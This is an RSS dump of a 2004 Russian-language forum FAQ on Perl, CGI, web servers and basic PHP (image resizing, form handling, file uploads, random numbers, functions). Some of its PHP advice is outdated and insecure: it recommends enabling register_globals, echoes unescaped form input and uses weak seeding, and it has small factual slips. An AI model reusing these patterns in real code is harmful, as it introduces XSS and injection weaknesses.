Чаще всего, переменные этого типа создаются пользователем как файловые указатели. Об этом тоже позже. Думаю, в статье &quot;Ввод и вывод&quot;.<br>
<br>
Примеры:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">*STDIN, *::STDOUT, *&#39;STDERR;</div></ol></div></div></div></div><br>
<br>
<hr><br>
<br>
В следующих статьях: <strong class='tag-b'>Разименование, Ввод-вывод и др.</strong>]]></description>
        <author>Tishaishii</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=439089</guid>
        <pubDate>Mon, 23 Aug 2004 22:09:11 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=439089</link>
        <description><![CDATA[Tishaishii: Ооой. Пытаюсь. Налёживаю вдохновение.<br>
Это называется &quot;Alpha-варсия&quot;.<br>
<br>
<hr><br>
<br>
	*Самый читаемый раздел Где взять Perl?<br>
	<ul class="tag-list"><li>Куда это всё годится?<br>
		</li><li>Что с ним делать?</li></ul>	*Учимся читать и писать Структуры данных Perl<br>
	<ul class="tag-list"><li>Контекст структуры<br>
	</li><li>Самый читаемый раздел.<br>
	</li><li>Где взять Perl?</li></ul><br>
<strong class='tag-b'>Ввожу в курс:</strong><ul class="tag-list"><li><a class='tag-url' href='http://www.perl.org' target='_blank'>http://www.perl.org</a></li><li><a class='tag-url' href='http://www.cpan.org' target='_blank'>http://www.cpan.org</a></li></ul><br>
Если внимательно походить по ссылкам с этих узлов - вполне можно за пару часов насобирать несколько сотен метров бесполезного барахла, и это уже будет совсем другая статья. По-этому лучше остановиться пока на первом варианте (<a class='tag-url' href='http://www.perl.org' target='_blank'>http://www.perl.org</a>), если уж так хочется связаться с этим &quot;Perl&quot;.<br>
Последняя и предыдущие версии языка, его историю и д.р. можно прочесть на уже дважды указанном сайте <a class='tag-url' href='http://www.perl.org' target='_blank'>http://www.perl.org</a> или на <a class='tag-url' href='http://www.cpan.org' target='_blank'>http://www.cpan.org</a>. На <a class='tag-url' href='http://www.cpan.org' target='_blank'>http://www.cpan.org</a> так же хранят и преумножают уже огромную коллекцию модулей, жить и работать легче было чтобы.<br>
Скачан-таки Perl? Бегло ридми и вэлкомы прочитаны? А &quot;не читал&quot; или &quot;оно же не по-русски написано&quot;, однако стоит стать упорным, храбрым, вспомить именитых мастеров и приготовиться к длительным самостоятельным изучениям всякого рода не по-русски написанной, вероятнее небумажной, точно такого же рода документации. Сбор FAQ, README, TUTORIAL и другой, полезной для ума и важной для добычи опыта способности создавать (творчества), силы духа, умения настаивать и побеждать, технической литературы может происходить в местах известных и оживлённых (<a class='tag-url' href='http://ya.ru' target='_blank'>http://ya.ru</a>, <a class='tag-url' href='http://forum.sources.ru' target='_blank'>http://forum.sources.ru</a>, это не для заботящихся о покое своём). Тяжело придётся в нашем деле ему, если сколько-то времени уделить занятию упомянотому не пожелает.<br>
<br>
Следующий этап &quot;установка&quot;. В достаточной полноте описан в существующем в архиве с исходниками Perl файле со странным названием &quot;README&quot; (советую ещё взглянуть на содержимое остальных файлов архива). Установка.<br>
<br>
Для тех, кто дочитал до текущих слов, напомню, Perl со стандартым его набором модулей входит в стандартную же поставку некоторых операционных систем, например, Unix-подобных. Так что для кое-какого овладения и первых тестов установка новейшей версии может не только не понадобиться, но и, так водится, как всякая малообкатанная софтина, поразить своей беспомощьностью.<br>
<br>
А Perl находится теперь по адресу, содержащемуся в ответе утилиты наподобие whereis:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">whereis perl</div></ol></div></div></div></div><br>
Как обычно, для Unix-систем это может быть &quot;/usr/bin/perl&quot;, а для других, соответственно, другая подходящая диктория.<br>
<br>
Чтобы получить информацию о версии можно воспользоваться ключом &quot;v&quot;:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">perl -v</div></ol></div></div></div></div><br>
И знать о действии запросов с другими ключами можно употребив лишь один:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">perl -h</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>Куда это всё годится?</strong><br>
<br>
Perl - прекрасное средство для расслабления во время и после рабоче-трудового дня. Наиболее короткий путь сознания к миру и целостности мироощущения, достижению душевного равновесия - занятие решением задач на Perl. Процесс получения знания о несуществовании ИСТИНЫ сопутствует проявлению усилий для написания FAQ для Perl. И вот ещё: <em class='tag-i'>&quot;Я самый Честный и Духовно-Богатый человек на свете&quot;</em>, стоит повторять, когда проблема то решается внезапно беспричинно, то та же функция при одном наборе аргументов, без вмешательства действия нормального или какого бы то ни было закона распределения вероятностей, производит отличные от предыдущих операции над объектами. Страх перед неизвестным у человека в первых его мыслях, и не требует специальной подготовки. Потусторонние деяния в таких случаях очевидны. Пропасть открывается.<br>
<br>
Известно, сначала Perl-язык создан для составления разных отчётов, а сало нам не торт, и ещё развивался и превратился в хобби для поклонников стучания по клавишам до серого утра. И прекрасно, я скажу, справляется. Переработать несколько тысячь почтовых файлов в удобный буклет или структурировать полуструктурированный текст, проанализировать структурированный (и другие), такой задаче моральных усилий потребовать много не удастся, если использовать возможности Perl.<br>
<br>
<hr><br>
<br>
<div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>Задолго до интернета люди открыли астрал.</div></div>]]></description>
        <author>Tishaishii</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=438691</guid>
        <pubDate>Mon, 23 Aug 2004 12:41:39 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=438691</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Как изменить размер изображения в PHP?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=9113' target='_blank'>Mastilior</a><br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&#60;?</div><div class="code_line">$img = imagecreatefromJpeg(&quot;picture.jpg&quot;);</div><div class="code_line">&nbsp;</div><div class="code_line">$img_width  = imagesx($img);</div><div class="code_line">$img_height = imagesy($img);</div><div class="code_line">&nbsp;</div><div class="code_line">$img_new_width = $img_width * 2;</div><div class="code_line">$img_new_height = $img_height * 2;</div><div class="code_line">&nbsp;</div><div class="code_line">$img_new = imagecreatetruecolor($img_new_width, $img_new_height);</div><div class="code_line">&nbsp;</div><div class="code_line">imagecopyresized($img_new, $img, 0, 0, 0, 0, $img_new_width, $img_new_height, $img_width, $img_height);</div><div class="code_line">&nbsp;</div><div class="code_line">header(&quot;Content-type: image/jpeg&quot;);</div><div class="code_line">imagejpeg($img_new);</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Версия с комментариями прикреплена к данному посту.]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436184</guid>
        <pubDate>Fri, 20 Aug 2004 08:43:36 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436184</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Какой язык стоит выбрать для написания CGI скриптов?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4404' target='_blank'>SERI</a><br>
<br>
На данный момент наиболее популярны PHP, ASP, Perl, C++. Рассмотрим каждый по отдельности.<br>
<br>
<strong class='tag-b'>PHP</strong><br>
PHP появился не так давно, тем не мение, он успел заслужить прекрасную репутацию простого и удобного средства для создания server-side скриптов.<br>
<br>
Программы на PHP не компиллируются, а встраиваются в саму страничку и затем интерпретируются. Этот факт не лучшим образом отражается на скорости выполнения скриптов. Однако в четвертой версии языка скорость выполнения была значительно улучшена.<br>
<br>
PHP наиболе эффективен при использовании вместе с MySQL.<br>
<br>
<strong class='tag-b'>ASP</strong><br>
По сути, ASP не является языком. Это универсальная технология, активно проталкиваемая Microsoft.<br>
<br>
Сами скрипты встраиваются в страницы, также как и в PHP. Многие считают, что создавая ресурсоемкий ASP, Microsoft в очередной раз делает из мухи слона, однако, нельзя не согласиться, что писать с использованием ASP очень просто и удобно.<br>
<br>
Технология хорошо интегрирована с базами данныз ODBC и включает много полезных объектов.<br>
<br>
На мой взгляд, для сервера IIS - ASP наиболее подходящая среда разработки.<br>
<br>
<strong class='tag-b'>Perl</strong><br>
Непосвященному человеку perl скрипты кажутся чем-то средним между египетскими иероглифами и исходниками Матрицы. Это неудивительно, потому что perl предоставляет программисту ряд абсолютно новых и необычных средств.<br>
<br>
В отличии от двух предыдущих технологий, perl - настоящий язык программирования. Он может использоваться и для написания CGI программ, и для обычного системного программирования.<br>
<br>
Perl сочетает в себе вещи и от компиллятора и от интерпретатора - программы хранятся в исходном виде, но при запуске компиллируются в байт-код. Это положительно отражается на скорости выполнения скриптов.<br>
<br>
Единственный серьезный недостаток perlа заключается в том, что большинство скриптов на perlе практически нечитабельны.<br>
<br>
За счет этого язык сложнее в изучении, нежели, например, PHP.<br>
<br>
<strong class='tag-b'>C++ и другие языки...</strong><br>
Как я уже говорил, CGI скрипты можно писать почти на любом языке.<br>
<br>
Основная причина, по которой Вы можете решить использовать компилируемый язык типа C++, - это скорость выполнения. Даже самый быстрый интерпретатор не будет работать также быстро, как уже скомпилированная программа.<br>
<br>
Писать на знакомом языке также проще, чем на новом. Однако написание CGI программ на обычных языках требует хорошего знания технологии CGI и протокола HTTP.]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436182</guid>
        <pubDate>Fri, 20 Aug 2004 08:43:05 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436182</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Что такое CGI?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4404' target='_blank'>SERI</a><br>
<br>
<strong class='tag-b'>CGI (Common Gateway Interface)</strong> - технология, позволяющая выполнять скрипты на стороне сервера и возвращать результат, вне зависимости от выбранного языка программирования.<br>
<br>
CGI скрипты можно писать как на специализированных скрипт-языках, так и на обычном C/C++. За счет того, что CGI скрипты выполняются на сервере, на программиста не накладываются никакие ограничения на использование файловой системы, работу с базами данных и т.д.<br>
<br>
Это, в свою очередь, существенно расширяет возможности сайта.<br>
<br>
<span class='tag-size' data-value='8' style='font-size:8pt;'><strong class='tag-b'><span class="tag-color tag-color-named" data-value="gray" style="color: gray">Дополнение от Mastilior:</span></strong></span><br>
<br>
Многие начинающие веб-кодеры часто задают следующий вопрос: &quot;Как напистаь этот скрипт на CGI (или на языке CGI)?&quot;. Хочется добавить, что сам <strong class='tag-b'>CGI - это не язык&#33;</strong> CGI - это технология взаимодействия веб-сервера с пользовательским агентом (браузером).]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436180</guid>
        <pubDate>Fri, 20 Aug 2004 08:41:55 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436180</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Где взять документацию по каждой технологии?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4404' target='_blank'>Mastilior</a><br>
<br>
Apache - <a class='tag-url' href='http://httpd.apache.org/docs-project/' target='_blank'>http://www.apache.org/</a><br>
Perl - <a class='tag-url' href='http://www.perldoc.com/' target='_blank'>http://www.perldoc.com/</a><br>
PHP - <a class='tag-url' href='http://www.php.net/manual/en/index.php/' target='_blank'>http://www.php.net/</a><br>
ASP - <a class='tag-url' href='http://msdn.microsoft.com/' target='_blank'>http://msdn.microsoft.com/</a><br>
CSS - <a class='tag-url' href='http://www.w3.org/TR/CSS1' target='_blank'>http://www.w3.org/</a><br>
MySQL - <a class='tag-url' href='http://dev.mysql.com/doc/' target='_blank'>http://www.mysql.com/</a><br>
<br>
Переводы спецификаций <a class='tag-url' href='http://www.w3.org/' target='_blank'>W3C</a> (World Wide Web Consortium) на русский язык: <a class='tag-url' href='http://pyramidin.narod.ru/' target='_blank'>http://pyramidin.narod.ru/</a>]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436178</guid>
        <pubDate>Fri, 20 Aug 2004 08:41:12 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436178</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Почему недоступны параметры, переданные PHP скрипту?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4404' target='_blank'>SERI</a><br>
<br>
В классическом PHP 3.0 любая переменная, переданая странице через GET / POST / Cookie, немедленно регистрировалась и была доступна на странице. <br>
Между тем, в новых версиях PHP и на нестандартных конфигурациях, эта возможность обычно выключена, что приводит к частым проблемам.<br>
За включение этой возможности отвечает параметр register_globals в файле php.ini, который, в свою очередь, находится в папке, в которой установлен Windows. <br>
<br>
Если у Вас есть доступ к этому файлу, достаточно в нем установить register_globals=1.<br>
<br>
Если же у вас нет прав доступа к этому файлу (если сайт находится на сервере хостера например), вам придется использовать массивы _GET и _POST для получения нужных значений.<br>
<br>
Пример:<br>
<strong class='tag-b'>File.html</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&#60;html&#62; </div><div class="code_line">&#60;head&#62; </div><div class="code_line">&#60;title&#62;Example&#60;/title&#62;</div><div class="code_line">&#60;/head&#62;</div><div class="code_line">&#60;body&#62;</div><div class="code_line">&#60;form action=&quot;file.php&quot; method=&quot;post&quot;&#62; </div><div class="code_line">Ваше имя:&#60;br&#62; </div><div class="code_line">&#60;input type=text name=&quot;name&quot; maxlength=20 size=30&#62;&#60;br&#62;</div><div class="code_line">&#60;input type=submit value=&quot;Продолжить&quot;&#62;</div><div class="code_line">&#60;/form&#62;</div><div class="code_line">&#60;/body&#62; </div><div class="code_line">&#60;/html&#62;</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>File.php</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&#60;html&#62;</div><div class="code_line">&#60;head&#62;</div><div class="code_line">&#60;title&#62;Example&#60;/title&#62;</div><div class="code_line">&#60;/head&#62; </div><div class="code_line">&#60;body&#62;Hello </div><div class="code_line">&#60;? </div><div class="code_line">$name = $_POST[&quot;name&quot;]; </div><div class="code_line">echo $name; </div><div class="code_line">?&#62;!</div><div class="code_line">&#60;/body&#62; </div><div class="code_line">&#60;/html&#62;</div></ol></div></div></div></div>]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436174</guid>
        <pubDate>Fri, 20 Aug 2004 08:38:45 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436174</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Как в PHP работать со случайными числами?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4404' target='_blank'>SERI</a><br>
<br>
Для этого есть функции rand(), srand(int) и getrandmax().<br>
<br>
Для начала, генератор случайных чисел нужно проинициализировать с помощью srand (сколько-то). Для того чтобы убедится, что числа будут действительно случайными, можно например, в начале скрипта вызвать srand(date(&quot;s&quot;)) <br>
<br>
После этого функция rand() будет генерировать случайные числа в пределах 0&lt;-&gt;getrandmax()<br>
Для того, чтобы изменить максимальный предел случайных чисел, достаточно взять остаток деления получившегося числа на новый предел. <br>
Например, rand() % 100 даст случайное число в диапазоне от 0 до 100.]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436164</guid>
        <pubDate>Fri, 20 Aug 2004 08:36:04 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436164</link>
        <description><![CDATA[Mastilior: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Как получить файл от клиента, используя PHP?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4404' target='_blank'>SERI</a><br>
<br>
Для начала, пусть у нас будет форма в файле upload.html: <br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&#60;html&#62;</div><div class="code_line">&#60;body&#62;</div><div class="code_line">&#60;form enctype=&quot;multipart/form-data&quot; action=&quot;upload.php&quot; method=post&#62;</div><div class="code_line">&#60;input type=&quot;hidden&quot; name=&quot;MAX_FILE_SIZE&quot; value=&quot;1000&quot;&#62; </div><div class="code_line">File Name: &#60;input type=&quot;file&quot; name=&quot;userfile&quot;&#62; </div><div class="code_line">&#60;input type=&quot;submit&quot; value=&quot;Send&quot;&#62; </div><div class="code_line">&#60;/form&#62; </div><div class="code_line">&#60;/body&#62;</div><div class="code_line">&#60;/html&#62;</div></ol></div></div></div></div><br>
<br>
Эта форма будет посылать выбранный файл нашему скрипту. <br>
Когда PHP получает такой файл, он записывает принятый файл во временный, и устанавливает несколько переменных: (в нашем случае) <br>
<em class='tag-i'>&#036;userfile_size</em> - Размер файла в байтах <br>
<em class='tag-i'>&#036;userfile_name</em> - Имя файла на компе юзера (например, для <em class='tag-i'>c:&#092;inet&#092;file.txt</em> это <em class='tag-i'>file.txt</em>) <br>
<em class='tag-i'>&#036;userfile</em> - Имя временной копии файла на сервере. Её можно открыть как обычный файл. <br>
<br>
Вот пример скрипта, выводящего принятый файл:<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&#60;?</div><div class="code_line">echo &quot; &#60;br&#62; Size: $userfile_size&#60;br&#62; </div><div class="code_line">Old Name: $userfile_name&#60;br&#62; </div><div class="code_line">Temp Name: $userfile&#60;br&#62;&#60;pre&#62;&quot;; </div><div class="code_line">echo implode (&quot;&quot;,file($userfile)); // Выводит файл </div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Коротко о возможных подводных камнях: <br>
Текст будет аплоадиться всегда нормально, а вот при аплоаде бинарных файлов есть шанс получить файлы &quot;битыми&quot;. <br>
Происходит это потому, что Русский Апач по умолчанию перекодирует все подряд. Например 0x00 он заменит 0x20 (пробел) <br>
Чтобы с этим бороться, надо в файле настроек httpd.conf прописать что-то типа: <br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&#60;Location /&#62;</div><div class="code_line">CharsetRecodeMultipartForms Off </div><div class="code_line">&#60;/Location&#62;</div></ol></div></div></div></div>]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436110</guid>
        <pubDate>Fri, 20 Aug 2004 08:07:17 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=436110</link>
        <description><![CDATA[Mastilior: Далее приведены вопросы и ответы, перенесенные из предыдущей версии <a class='tag-url' href='http://pascal.sources.ru/www/faq/index.htm' target='_blank'>FAQ</a>.<br>
<br>
<span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Web-сервер у себя на машине?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=3254' target='_blank'>Tishaishii</a><br>
<ul class="tag-list"><li>Появляется важная возможность подробнее ознакомиться с управлением и работой со средствами, котороые могли казаться раньше почти невероятными и загадочными. Становится доступным, например, создание собственного полноценного web-узла в интернет, его администрирование.</li><li>Вы сможете разрабатывать и тестировать программы для Internet без дополнительных затрат времени и средств.</li></ul>Наиболее популярные сервера:<br>
- Apache (<a class='tag-url' href='http://www.apache.org/' target='_blank'>www.apache.org</a>)<br>
- IIS/PWS (<a class='tag-url' href='http://www.microsoft.com/' target='_blank'>www.microsoft.com</a>)<br>
<br>
<strong class='tag-b'>Что такое Apache?</strong><br>
<br>
Web-сервер Apache чаще всего устанавливается на платформах UNIX:<br>
- Linux<br>
- Solaris<br>
- FreeBSD<br>
Так же, существуют версии Apache для Windows, начиная с Win95<br>
<br>
<em class='tag-i'>Преимущества:</em><br>
<br>
- Стабильность работы<br>
- Модульность сервера - компоненты не входят в стандартный дистрибутив и устанавливаются<br>
по необходимости<br>
- Наиболее популярный в сети<br>
- Гибкость настройки<br>
- Отличная документированность<br>
- Универсальность - существуют специальные версии для многих ОС<br>
- Весь сервер занимает около 12Mb<br>
<br>
<em class='tag-i'>Недостатки:</em><br>
<br>
- Отсутствие интерфейса для управления<br>
- Сложность настройки<br>
<br>
<strong class='tag-b'>Сервера IIS/PWS</strong><br>
<br>
Входят в дистрибутив Windows 98/NT/2000/XP-Pro<br>
<br>
<em class='tag-i'>Преимущества:</em><br>
- Простота настройки<br>
- Есть интерфейс для управления сервером<br>
- Неплохая документированность<br>
<br>
<em class='tag-i'>Недостатки:</em><br>
- Слабая гибкость настройки - обилие ненастраиваемых функций &quot;по-умолчанию&quot;<br>
- Зависимость от ОС - сервер создан только для Windows]]></description>
        <author>Mastilior</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=416364</guid>
        <pubDate>Sat, 31 Jul 2004 18:47:35 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=416364</link>
        <description><![CDATA[Trustmaster: <span class='tag-size' data-value='14' style='font-size:14pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Функции в PHP</span></span><br>
Несколько интересных моментов из жизни функций в PHP.<br>
<br>
<span class="tag-color tag-color-named" data-value="green" style="color: green"><strong class='tag-b'>1. Передача аргументов по ссылке, глобальная область видимости, константы.</strong></span><br>
<br>
Обычно все аргументы в PHP передаются по значению, то есть если мы предаем функции foo() аргумент &#036;bar, то для использования в теле foo() будет создана локальная копия &#036;bar. Все бы хорошо, но что будет если &#036;bar содержит, скажем, дамп базы данных? Тогда производительность резко упадет, и скрипт будет занимать большой объем памяти. В таком случае следует использовать передачу аргумента по ссылке.<br>
Кроме того, если аргумент был передан по ссылке, то функция легко изменит его значение, не прибегая к средствам return.<br>
<br>
 Итак, есть два способа передачи аргументов по ссылке:<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.1. Ссылка (&amp;) в списке аргументов.</strong></span><br>
<br>
Этот способ используется при написании кода функции. Если вы хотите, чтобы аргумент &#036;bar передавался вашей функции foo по ссылке, можно сделать это так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function foo(&amp;$bar)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;echo $bar;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$bar = &#39;&#39;;</div><div class="code_line">}</div></ol></div></div></div></div><br>
Эта функция будет принимать строку по ссылке, выводить ее содержимое, а потом очищать (присваивать переменной &#036;bar пустую строку).<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.2 Передача ссылки в качестве аргумента.</strong></span><br>
<br>
Можно написать функцию, которая будет работать как со ссылками, так и с обычными аргументами:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function foo($bar)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$bar .= &quot;; Передана по ссылке&quot;; &nbsp;// Если переменная передана по ссылке, мы можем изменять ее значение.</div><div class="code_line">}</div><div class="code_line">$str = &quot;Строка&quot;;</div><div class="code_line">foo($str); </div><div class="code_line">echo $str; // Выведет: Строка</div><div class="code_line">foo(&amp;$str); </div><div class="code_line">echo $str; // Выведет: Строка; Передана по ссылке</div></ol></div></div></div></div><br>
А если вы просто заботитесь о производительности, то можно передавать переменную по ссылке любой функции:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$result = some_function(&amp;$argument);</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.3 Глобальные переменные.</strong></span><br>
<br>
В коде функции можно объявить о том, что данную переменную нужно взять из глобальной области видимости. Фактически, эффект тот же, что и от передачи по ссылке. Разница в том, что для этого не нужно ничего объявлять в списке аргументов. Пусть функция process_array() производит оработку массива &#036;big_array:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function process_array()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;global $big_array;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for($i = 0; $i &#60; count($big_array); $i++)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// Какие-то действия над массивом</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">// $big_array должен быть объявлен в глобальной области видимости</div><div class="code_line">$big_array = Array(&quot;test1&quot;, &quot;test2&quot;, &quot;test3&quot;);</div><div class="code_line">process_array();</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>1.4 Константы.</strong></span><br>
<br>
Константы - отдельная статья. Они объявляются в глобальной области видимости и доступны отовсюду. В отличие от переменной, для доступа к константе не нужен знак доллара (&#036;) и изменять значение уже объявленной константы запрещено.<br>
